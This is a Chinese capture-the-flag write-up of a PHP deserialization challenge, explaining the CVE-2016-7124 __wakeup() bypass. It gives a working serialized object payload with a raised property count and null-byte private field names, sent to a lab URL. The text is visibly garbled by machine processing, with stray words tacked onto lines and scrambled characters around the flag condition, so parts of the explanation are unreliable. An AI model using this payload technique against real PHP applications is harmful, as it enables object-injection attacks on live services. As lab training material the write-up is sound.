[极客大挑战 2019]PHP wp

[极客大挑战 2019]PHP wp


考点是 php反序列化以及wakeup()方法绕过

知识点

1.serialize:序列化,把一个对象转换成字符串形式,能够用于保存
unserialize:反序列化,把serialize后的字符串转换成一个对象
php

2.__wakeup()方法绕过
(CVE-2016-7124)
做用:与__sleep()函数相反,__sleep()函数,是在序序列化时被自动调用。__wakeup()函数,在反序列化时,被自动调用。绕过:当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。
html

解题

先打开页面
在这里插入图片描述
是一只会动的猫,却是挺可爱,查看代码node

<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
    public function __construct($username,$password){
    	$this->username = $username;
        $this->password = $password;
    }
    public function __wakeup(){
    	$this->username = "guests";
    }
    public function fun(){
    	echo $this->username;echo "<br>";echo $this->password;
    }
}
$a = serialize(new Name("admin",100));
echo $a;
?>

大概能够看出,他要让咱们经过反序列化来执行__destruct()中的echo f l a g 。 两 个 条 件 flag。两个条件 flagthis->password == 100,$this->username === ‘admin’。python

将上面的代码反序列化获得web

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

其中name后面的2,表明类中有2个属性,但若是咱们把2改为3,就会绕过__wakeup()函数。并且由于是private声明,咱们须要在类名和字段名前面都会加上\0的前缀svg

O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

到这里我理解为何看大佬写的都是%00name%00username了,由于若是上面的payload不用python提交,在url栏中会出现\0,有空白符,而复制的时候会丢失,返回结果像下面同样。函数

在这里插入图片描述

加上%00
最终获得payload:this

http://4e7d7aed-be77-4db0-8c25-5d2f5bc5b380.node3.buuoj.cn/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

结果
在这里插入图片描述
获得flag。url